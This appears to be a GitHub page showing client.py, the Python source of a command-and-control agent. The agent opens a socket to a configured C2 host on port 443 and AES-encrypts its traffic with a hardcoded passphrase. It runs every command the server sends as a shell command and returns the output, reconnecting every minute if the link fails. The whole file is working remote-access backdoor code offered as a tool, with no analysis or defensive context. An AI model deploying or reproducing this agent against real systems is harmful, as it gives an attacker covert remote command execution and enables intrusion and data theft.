-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathclient.py
More file actions
85 lines (71 loc) · 2.75 KB
/
client.py
File metadata and controls
85 lines (71 loc) · 2.75 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import socket
import subprocess
import platform
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import hashlib
# Configuration
C2_HOST = '127.0.0.1' # Server IP
C2_PORT = 443
BUFFER_SIZE = 4096
SECRET_KEY = hashlib.sha256(b'MySecretPassphrase').digest() # Must match the server
class Agent:
def __init__(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.os_type = platform.system()
def encrypt(self, data):
cipher = AES.new(SECRET_KEY, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(data.encode(), AES.block_size))
return cipher.iv + ct_bytes
def decrypt(self, data):
iv, ct = data[:16], data[16:]
cipher = AES.new(SECRET_KEY, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), AES.block_size)
return pt.decode()
def execute_command(self, command):
try:
output = subprocess.check_output(
command,
shell=True,
stderr=subprocess.STDOUT,
timeout=30
)
return output.decode('utf-8', errors='replace')
except Exception as e:
return str(e)
def beacon(self):
while True:
try:
self.sock.connect((C2_HOST, C2_PORT))
# Verify connection
self.sock.send(self.encrypt(f"check_in:{self.os_type}"))
# COMMAND LOOP
while True:
encrypted_command = self.sock.recv(BUFFER_SIZE)
if not encrypted_command:
break
command = self.decrypt(encrypted_command)
# Exit command - break both inner and outer loops
if command.lower() == 'exit':
# print("Exiting as per server command")
return # Terminate client completely
# Execute command and send result
result = self.execute_command(command)
self.sock.send(self.encrypt(result))
except (ConnectionResetError, ConnectionRefusedError) as e:
print(f"Connection error: {e}")
time.sleep(60)
except Exception as e:
print(f"Critical error: {e}")
time.sleep(60)
finally:
try:
self.sock.close()
except:
pass
# Create new socket - ONLY in case of connection error
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if __name__ == "__main__":
agent = Agent()
agent.beacon()